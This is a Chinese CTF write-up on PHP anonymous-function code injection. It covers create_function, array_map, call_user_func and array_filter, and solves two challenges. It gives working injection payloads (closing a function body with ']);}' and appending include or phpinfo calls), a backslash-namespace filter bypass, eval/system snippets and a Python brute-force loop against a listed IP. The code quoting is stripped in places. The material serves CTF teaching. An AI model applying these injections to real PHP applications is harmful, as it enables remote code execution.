视频网站开发工具,黑群晖可以做网站吗,石家庄模板建站,wordpress安全防护CTF题型 匿名函数考法例题总结 文章目录 CTF题型 匿名函数考法例题总结一 .原理分析二 .重点匿名函数利用1.create_function()如何实现create_function代码注入 2.array_map()3.call_user_func()4.call_user_func_array()5.array_filter() 三.例题讲解1.[Polar 靶场 …CTF题型 匿名函数考法例题总结 文章目录 CTF题型 匿名函数考法例题总结一 .原理分析二 .重点匿名函数利用1.create_function()如何实现create_function代码注入 2.array_map()3.call_user_func()4.call_user_func_array()5.array_filter() 三.例题讲解1.[Polar 靶场 某函数的复仇]扩展非本题 2.[2023 安洵杯 what’s my name] 一 .原理分析
匿名函数特点:无函数名使用一次就被丢弃一般可以动态执行php代码
二 .重点匿名函数利用
请熟记并理解为后面php代码审计打基础
1.create_function() 创建一个匿名lambda样式函数
第一次创建了一个叫 lambda_1 的函数此后调用依次递增lambda_2… 注意 实际为 %00lambda_1只不过%00不可见而已 create_function ( string $args , string $code ) : string
根据传递的参数创建一个匿名函数并为其返回唯一的名称。如果没有严格对参数传递进行过滤攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行
可以闭合代码实现eval执行任意命令
如何实现create_function代码注入
闭合方式不唯一按实际代码决定
create_function($name,echo $name.alex)等同与创建了一个函数
function fT($fname) {echo $fname.alex;
}并返回这个函数名 lambda_1
极其类似sql注入 使前面闭合使后面注释
例如
?php
$id$_GET[id];
$str2echo $a.test.$id.;;
echo $str2;
echo br/;
echo ;
echo br/;
$f1 create_function($a,$str2);
?id值可控
原函数
function fT($a){echo $a.test.$id;
}代码注入后:
function fT($a){echo $a.test;}phpinfo();/*;
}2.array_map()
array_map — 为数组的每个元素应用回调函数 利用 第一个参数为 回调函数第二个参数为 参数数组 3.call_user_func()
call_user_func — 把第一个参数作为回调函数调用 同样的第一个参数是回调函数 不过第二个参数是 字符串 不是数组 4.call_user_func_array()
和array_map一模一样 利用 第一个参数为 回调函数第二个参数为 参数数组 5.array_filter()
array_filter — 使用回调函数过滤数组的元素 和array_map()对调一下位置 第一个参数为 参数数组第二个参数为 回调函数 三.例题讲解
1.[Polar 靶场 某函数的复仇]
环境 https://www.polarctf.com/#/page/challenges
?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST[shaw])){$shaw $_POST[shaw];$root $_GET[root];if(preg_match(/^[a-z_]*$/isD,$shaw)){if(!preg_match(/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i,$root)){$shaw(,$root);}else{echo Almost there^^;}}
}
?特征$shaw(,$root); 方法名可控第二个参数可控那么我们考虑create_function(); 这里保证$shaw开头是[a-z_] 结尾是任意字符的字符
直接传 create_function即可
扩展非本题
这里提一嘴经常考 如果正则匹配 过滤 开头是[a-z_] 结尾是任意字符的字符 不可行 如何绕过
if(preg_match(/^[a-z_]*$/isD,$shaw) 方法名绕过
通过 命名空间绕过 因为 \create_function()等价于create_function()
什么是命名空间\
在PHP的命名空间默认为\所有的函数和类都在\这个命名空间中如果直接写函数名function_name()调用调用的时候其实相当于写了一个相对路径而如果写\function_name() 这样调用函数则其实是写了一个绝对路径。如果你在其他namespace里调用系统类就必须写绝对路径这种写法。 #例
?php namespace ccc;\eval($_REQUEST[a]);
?php \system(cat /tmp/flag_XXXX);接着闭合代码 底层实现{return $root}
我们用 ;}任意代码//闭合
注意这里过滤了 h phpinfo();是被过滤了的 2.[2023 安洵杯 what’s my name]
题目环境https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/
?php
highlight_file(__file__);
$d0g3$_GET[d0g3];
$name$_GET[name];
if(preg_match(/^(?:.{5})*include/,$d0g3)){$sorterstrnatcasecmp;$miao create_function($a,$b, return ln($a) ln($b) . log($a * $b););if(strlen($d0g3)substr($miao, -2)$name$miao){$sort_function return 1 * . $sorter . ($a[ . $d0g3 . ], $b[ . $d0g3 . ]);;$miaocreate_function($a, $b, $sort_function);}else{echo(Is That My Name?);}
}
else{echo(YOU Do Not Know What is My Name!);
}
?$miaocreate_function($a, $b, $sort_function);匿名函数可以执行命令
闭合根据$sort_function return 1 * . $sorter . ($a[ . $d0g3 . ], $b[ . $d0g3 . ]);; 其中$d0g3可控
原本闭合payload:]);}payload//
但是要满足if(preg_match(/^(?:.{5})*include/,$d0g3))
前5个任意字符include
所以闭合用]);}include();//将 前面的 ’ 当成字符看了 $miao create_function($a,$b, return ln($a) ln($b) . log($a * $b););if(strlen($d0g3)substr($miao, -2)$name$miao)m i a o 为返回的匿名函数名称判断 miao为返回的匿名函数名称判断 miao为返回的匿名函数名称判断name m i a o 而且 s t r l e n ( miao而且strlen( miao而且strlen(d0g3substr($miao))
探究一下返回的匿名函数名称 注意还有两位不可见字符 可以用%00lambda_x绕过强相等 ]);}include(phpinfo());//
有26位字符
第26次 到lambda_626时执行命令
可以写个脚本
import requests
urlhttp://23.94.38.86:9999/?name%00lambda_26
params{d0g3:\]);}include(phpinfo());//
}
i0
while True:ii1responserequests.get(url,paramsparams)print(str(i))if php.net in response.text:print(response.text)break注意一点 #在Python的requests库中当你发送一个请求并尝试传递一个包含%00的字符串时默认情况下requests库会尝试对这个字符串进行URL编码。这是因为%00是一个URL编码的字符对应于ASCII的NULL字符 #所以写死name的值 可以返回phpinfo的内容 其他命令同理